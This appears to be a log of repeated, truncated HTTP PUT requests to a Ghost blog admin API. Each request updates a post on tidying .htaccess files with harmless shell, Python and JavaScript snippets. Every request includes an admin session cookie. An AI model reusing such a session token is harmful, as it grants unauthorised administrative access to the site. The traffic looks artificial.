\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8209", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8121", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8204", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8454", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8273", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting 